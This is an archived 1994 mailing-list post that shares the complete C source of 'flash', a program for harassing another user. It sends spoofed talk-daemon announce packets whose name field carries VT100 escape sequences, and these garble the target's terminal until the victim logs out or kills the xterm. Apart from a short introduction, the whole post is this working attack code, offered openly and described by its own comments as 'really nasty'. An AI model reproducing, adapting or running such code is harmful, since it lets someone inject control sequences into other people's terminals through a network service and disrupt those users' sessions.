Re: "Flash"??

Paul Danckaert (pauld@umbc.edu)
Thu, 18 Aug 1994 23:37:37 +0059 (EDT)

This is the source to the "flash" program...  not really all that 
complicated.. just not very nice...

Also.. evidently the person don't know how to "Full Reset" an xterm... :)

paul

---
/* flash.c */

/* This little program is intended to quickly mess up a user's
   terminal by issuing a talk request to that person and sending
   vt100 escape characters that force the user to logout or kill
   his/her xterm in order to regain a sane view of the text.
   It the user's message mode is set to off (mesg n) he/she will
   be unharmed. 
   This program is really nasty :-)

   Usage: flash user@host

   try compiling with: gcc -o flash flash.c
*/


#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <strings.h>

/* this should really be in an include file..  */

#define OLD_NAME_SIZE 9
#define NAME_SIZE    12
#define TTY_SIZE     16 
typedef struct {
        char    type;
        char    l_name[OLD_NAME_SIZE];
        char    r_name[OLD_NAME_SIZE];
        char    filler;
        u_long  id_num;
        u_long  pid;
        char    r_tty[TTY_SIZE];
        struct  sockaddr_in addr;
        struct  sockaddr_in ctl_addr;
} OLD_MSG;

typedef struct {
        u_char  vers;
        char    type;
        u_short filler;
        u_long  id_num;
        struct  sockaddr_in addr;
        struct  sockaddr_in ctl_addr;
        long    pid;
        char    l_name[NAME_SIZE];
        char    r_name[NAME_SIZE];
        char    r_tty[TTY_SIZE];
} CTL_MSG;

#define TALK_VERSION    1               /* protocol version */

/* Types */
#define LEAVE_INVITE    0
#define LOOK_UP         1
#define DELETE          2
#define ANNOUNCE        3

int	current = 1; 	/* current id..  this to avoid duplications */

struct sockaddr_in *getinaddr(char *hostname, u_short port)
{
static  struct sockaddr    addr;
struct  sockaddr_in *address;
struct  hostent     *host;

address = (struct sockaddr_in *)&addr;
(void) bzero( (char *)address, sizeof(struct sockaddr_in) );
/* fill in the easy fields */
address->sin_family = AF_INET;
address->sin_port = htons(port);
/* first, check if the address is an ip address */
address->sin_addr.s_addr = inet_addr(hostname);
if ( (int)address->sin_addr.s_addr == -1)
        {
        /* it wasn't.. so we try it as a long host name */
        host = gethostbyname(hostname);
        if (host)
                {
                /* wow.  It's a host name.. set the fields */
                /* ?? address->sin_family = host->h_addrtype; */
                bcopy( host->h_addr, (char *)&address->sin_addr,
                        host->h_length);
                }
        else
                {
                /* oops.. can't find it.. */
		puts("Couldn't find address"); 
		exit(-1);
                return (struct sockaddr_in *)0;
                }
        }
/* all done. */
return (struct sockaddr_in *)address;
}

SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
{
int 	s;
struct sockaddr sample; /* not used.. only to get the size */

s = socket(AF_INET, SOCK_DGRAM, 0);
sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
} 


new_ANNOUNCE(char *hostname, char *remote, char *local)
{
CTL_MSG	 packet; 
struct   sockaddr_in  *address;

/* create a packet */
address = getinaddr(hostname, 666 );  
address->sin_family = htons(AF_INET); 

bzero( (char *)&packet, sizeof(packet) );
packet.vers   = TALK_VERSION; 
packet.type   = ANNOUNCE;   
packet.pid    = getpid();
packet.id_num = current;
bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
strncpy( packet.l_name, local, NAME_SIZE); 
strncpy( packet.r_name, remote, NAME_SIZE); 
strncpy( packet.r_tty, "", 1); 

SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
}

old_ANNOUNCE(char *hostname, char *remote, char *local)
{
OLD_MSG  packet;
struct   sockaddr_in  *address;

/* create a packet */
address = getinaddr(hostname, 666 );
address->sin_family = htons(AF_INET);

bzero( (char *)&packet, sizeof(packet) );
packet.type   = ANNOUNCE;
packet.pid    = getpid();
packet.id_num = current;
bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
strncpy( packet.l_name, local, NAME_SIZE);
strncpy( packet.r_name, remote, NAME_SIZE);
strncpy( packet.r_tty, "", 1);

SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
}

main(int argc, char *argv[])
{
	char	*hostname, *username; 
	int	pid;

	if ( (pid = fork()) == -1)  
	 	{
		perror("fork()");
		exit(-1);
		}
	if ( !pid )
		{
		exit(0);
		}
	if (argc < 2) { 
		puts("Usage: <finger info> ");
		exit(5);
	}
 	username = argv[1]; 
	if ( (hostname = (char *)strchr(username, '@')) == NULL )	
		{
		puts("Invalid name.  ");
		exit(-1);
		}
        *hostname = '\0'; 
	hostname++; 

	if (*username == '~') 
		username++; 

#define FIRST "\033c\033(0\033#8" 
#define SECOND "\033[1;3r\033[J"
#define THIRD  "\033[5m\033[?5h"
	new_ANNOUNCE(hostname, username, FIRST);
	old_ANNOUNCE(hostname, username, FIRST);
	current++; 
	new_ANNOUNCE(hostname, username, SECOND);
	new_ANNOUNCE(hostname, username, SECOND);
	current++;
	new_ANNOUNCE(hostname, username, THIRD); 
 	old_ANNOUNCE(hostname, username, THIRD);
}